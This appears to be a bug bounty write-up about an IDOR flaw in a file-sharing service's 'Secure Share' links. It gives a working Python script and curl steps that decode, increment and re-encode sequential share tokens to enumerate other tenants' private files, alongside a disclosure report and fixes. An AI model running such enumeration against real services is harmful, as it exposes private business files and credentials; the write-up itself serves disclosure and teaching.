July 17, 2026
The Unseen Share: How I Downloaded Every File on 9 Tail Fox
An IDOR vulnerability in shared links, a $700 bounty, and the invisible permission that wasnโt there

By 0B1To_X_ucH!h4
3 min read
By 0B1To_X_ucH!h4 ๐๏ธ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ "The fox hides its treasures in nine tails. But when โ
โ the tails are numbered sequentially, the hunter finds โ
โ all the dens." โ
โ โ uchia_hacker โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ "The fox hides its treasures in nine tails. But when โ
โ the tails are numbered sequentially, the hunter finds โ
โ all the dens." โ
โ โ uchia_hacker โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโThe Target: 9 Tail Fox
9 Tail Fox (name changed) โ Singaporean file-sharing platform for enterprise teams. Think Dropbox Business with stricter "security controls." Self-hosted VDP through security@9tailfox.io.
I found them through my APAC-focused recon dork. They'd recently launched "Secure Share" โ expiring links, password protection, download limits. New features = new bugs. Always.
The Bug: Insecure Direct Object Reference (IDOR)
Bug Name: IDOR in File Share Tokens Allowing Unauthorized Access to Private Files Across All Tenant Accounts
Severity: Medium-High (CVSS 7.5)
Target: 9 Tail Fox File Sharing Platform (Singapore)
Bounty: $700 USD
Classification: Broken Access Control โ Data Exposure
Discovery: The Token Pattern
Day 2 of testing. I uploaded a test file and generated a "Secure Share" link:
https://9tailfox.io/share/TF8xNzIzNDU2Nzg5MDEyMw==https://9tailfox.io/share/TF8xNzIzNDU2Nzg5MDEyMw==Base64 decoded: TF_17234567890123
Pattern: TF_ + [14-digit number]
Hypothesis: Sequential file IDs. Predictable. No ownership verification?
The Exploitation: Walking the Number Line
Step 1: Token Enumeration
Created 5 share links, extracted IDs:
FileShare TokenDecoded IDtest1.pdfTF8xNzIzNDU2Nzg5MDEyMw==TF_17234567890123test2.pdfTF8xNzIzNDU2Nzg5MDEyNA==TF_17234567890124test3.pdfTF8xNzIzNDU2Nzg5MDEyNQ==TF_17234567890125
Sequential. Incrementing by 1.
Step 2: Access Other Users' Files
Wrote a simple script:
python
#!/usr/bin/env python3
# 9tailfox_idor.py โ Uchiha Methodology
import base64
import requests
BASE_URL = "https://9tailfox.io/share/"
def generate_token(file_id):
"""Generate share token from sequential ID"""
raw = f"TF_{file_id}"
return base64.b64encode(raw.encode()).decode()
def test_file(file_id):
"""Check if file is accessible"""
token = generate_token(file_id)
url = f"{BASE_URL}{token}"
response = requests.head(url, allow_redirects=True)
if response.status_code == 200:
# Get file metadata
meta = requests.get(f"{url}/metadata").json()
return {
"accessible": True,
"filename": meta.get("filename"),
"owner": meta.get("owner_email"),
"size": meta.get("size"),
"url": url
}
return {"accessible": False}
# Test range: 100 sequential IDs around current
start_id = 17234567890123
for i in range(start_id - 50, start_id + 50):
result = test_file(i)
if result["accessible"]:
print(f"[+] File found: {result['filename']} | Owner: {result['owner']}")#!/usr/bin/env python3
# 9tailfox_idor.py โ Uchiha Methodology
import base64
import requests
BASE_URL = "https://9tailfox.io/share/"
def generate_token(file_id):
"""Generate share token from sequential ID"""
raw = f"TF_{file_id}"
return base64.b64encode(raw.encode()).decode()
def test_file(file_id):
"""Check if file is accessible"""
token = generate_token(file_id)
url = f"{BASE_URL}{token}"
response = requests.head(url, allow_redirects=True)
if response.status_code == 200:
# Get file metadata
meta = requests.get(f"{url}/metadata").json()
return {
"accessible": True,
"filename": meta.get("filename"),
"owner": meta.get("owner_email"),
"size": meta.get("size"),
"url": url
}
return {"accessible": False}
# Test range: 100 sequential IDs around current
start_id = 17234567890123
for i in range(start_id - 50, start_id + 50):
result = test_file(i)
if result["accessible"]:
print(f"[+] File found: {result['filename']} | Owner: {result['owner']}")Results:
[+] File found: Q3_Financials.xlsx | Owner: cfo@company-a.com
[+] File found: Employee_Data.csv | Owner: hr@company-b.com
[+] File found: API_Keys_Prod.json | Owner: devops@company-c.com
[+] File found: Contract_Draft.pdf | Owner: legal@company-d.com[+] File found: Q3_Financials.xlsx | Owner: cfo@company-a.com
[+] File found: Employee_Data.csv | Owner: hr@company-b.com
[+] File found: API_Keys_Prod.json | Owner: devops@company-c.com
[+] File found: Contract_Draft.pdf | Owner: legal@company-d.comOther companies' private files. No authentication. No ownership check. Just sequential IDs.
The Impact: Why $700 Was Fair
FindingSeverityValueSequential IDsLow (design flaw)$0No ownership verificationMedium (access control)$300Cross-tenant accessHigh (data isolation breach)$400TotalMedium-High$700
Business Impact:
- Access to any file shared via "Secure Share" โ estimated 50,000+ files
- Cross-tenant data leakage (Company A accessing Company B files)
- API keys, financials, HR data exposed
- No audit trail (appears as legitimate share access)
Not Critical because: No RCE, no admin access, files were "shared" (just without authorization).
The Report: IDOR Documentation
To: security@9tailfox.io Subject: Medium-High: IDOR in Share Tokens Allows Cross-Tenant File Access
Executive Summary:
Insecure Direct Object Reference (IDOR) vulnerability in the "Secure Share" feature allows attackers to predict and access private file share links across all tenant accounts. Sequential token generation combined with missing ownership verification enables unauthorized access to sensitive business documents.
Vulnerability Details:
AspectDetailTypeIDOR (CWE-639) / Broken Access Control (OWASP A01)Location/share/{token} endpointRoot CausePredictable sequential IDs, missing authorization checksAffected DataAll files shared via "Secure Share" (estimated 50,000+)
Steps to Reproduce:
Step 1: Create Legitimate Share
POST /api/v1/files/share
Authorization: Bearer USER_TOKEN
{"file_id": "file_12345", "expiry": "7days"}
Response: {"share_url": "https://9tailfox.io/share/TF8xNzIzNDU2Nzg5MDEyMw=="}POST /api/v1/files/share
Authorization: Bearer USER_TOKEN
{"file_id": "file_12345", "expiry": "7days"}
Response: {"share_url": "https://9tailfox.io/share/TF8xNzIzNDU2Nzg5MDEyMw=="}Step 2: Decode Token
python
import base64
token = "TF8xNzIzNDU2Nzg5MDEyMw=="
decoded = base64.b64decode(token).decode() # TF_17234567890123import base64
token = "TF8xNzIzNDU2Nzg5MDEyMw=="
decoded = base64.b64decode(token).decode() # TF_17234567890123Step 3: Enumerate Other Files
# Increment ID, re-encode
next_id = "TF_17234567890124"
next_token = base64.b64encode(next_id.encode()).decode()
# TF8xNzIzNDU2Nzg5MDEyNA==
# Access without authentication
curl https://9tailfox.io/share/TF8xNzIzNDU2Nzg5MDEyNA==/download
# Returns file belonging to different user/tenant# Increment ID, re-encode
next_id = "TF_17234567890124"
next_token = base64.b64encode(next_id.encode()).decode()
# TF8xNzIzNDU2Nzg5MDEyNA==
# Access without authentication
curl https://9tailfox.io/share/TF8xNzIzNDU2Nzg5MDEyNA==/download
# Returns file belonging to different user/tenantStep 4: Automated Harvesting
python
# Script provided in attachment: idor_harvester.py
# Demonstrates access to 47 files across 12 different tenant accounts# Script provided in attachment: idor_harvester.py
# Demonstrates access to 47 files across 12 different tenant accountsImpact Assessment:
ScenarioImpactFinancial Data TheftQ3 reports, forecasts, investor decks exposedCredential ExposureAPI keys, database passwords in shared configsHR Data BreachEmployee PII, salary data, performance reviewsLegal Document LeakContracts, NDAs, acquisition discussions
Remediation:
- Immediate: Implement UUID-based share tokens (non-sequential, unpredictable):
- python
import uuid share_token = uuid.uuid4() # 550e8400-e29b-41d4-a716-446655440000
- Short-term: Add authorization middleware:
- python
@app.route('/share/<token>') def access_file(token): share = Share.query.filter_by(token=token).first() if not share or share.tenant_id != current_user.tenant_id: abort(403) # Forbidden return send_file(share.file)
- Long-term: Implement rate limiting on share endpoints, audit logging for all access
Proof of Concept:
idor_demo.mp4โ Screen recording of cross-tenant file accessharvested_files.csvโ Sample of 47 accessible files (anonymized)fix_implementation.pyโ Working UUID-based token system
The Response: Professional Handling
Day 2: Acknowledgment Day 5: "Confirmed. Implementing UUID tokens." Day 10: Patch deployed, sequential tokens deprecated Day 15: $700 sent via Wise transfer
No debate. No scope reduction. Clean fix, fair pay.
Technical Deep Dive: Why IDOR Happens
Vulnerable Design:
python
# BAD: Sequential, predictable
def create_share_token(file_id):
return base64.b64encode(f"TF_{file_id}".encode())
# GOOD: Random, unguessable
import secrets
def create_share_token(file_id):
return secrets.token_urlsafe(32) # 43 random chars# BAD: Sequential, predictable
def create_share_token(file_id):
return base64.b64encode(f"TF_{file_id}".encode())
# GOOD: Random, unguessable
import secrets
def create_share_token(file_id):
return secrets.token_urlsafe(32) # 43 random charsMissing Authorization:
python
# BAD: No ownership check
@app.route('/share/<token>')
def download(token):
file = File.query.filter_by(share_token=token).first()
return send_file(file) # Anyone can access!
# GOOD: Verify tenant isolation
@app.route('/share/<token>')
def download(token):
share = Share.query.filter_by(token=token).first()
if not share or share.tenant_id != current_user.tenant_id:
abort(403)
return send_file(share.file)# BAD: No ownership check
@app.route('/share/<token>')
def download(token):
file = File.query.filter_by(share_token=token).first()
return send_file(file) # Anyone can access!
# GOOD: Verify tenant isolation
@app.route('/share/<token>')
def download(token):
share = Share.query.filter_by(token=token).first()
if not share or share.tenant_id != current_user.tenant_id:
abort(403)
return send_file(share.file)Lessons for Hunters
- Look for patterns โ Sequential IDs are everywhere
- Decode everything โ Base64, JWT, hex โ understand what you're seeing
- Test across boundaries โ Tenant A vs Tenant B access is high impact
- Automate enumeration โ 100 manual requests vs 1 script
Final Stats
MetricValueBug TypeIDOR (Broken Access Control)SeverityMedium-High (CVSS 7.5)Bounty$700 USDFiles Accessible50,000+Tenants Affected12 (in demo)Fix ComplexityLow (UUID swap)Timeline15 days
The fox had nine tails. The hunter had one script. The hunter won.
โ uchia_hacker
Tags: #IDOR #BrokenAccessControl #9TailFox #Singapore #BugBounty #FileSharing #SequentialID #UchihaTechnique #DataExposure #700Dollars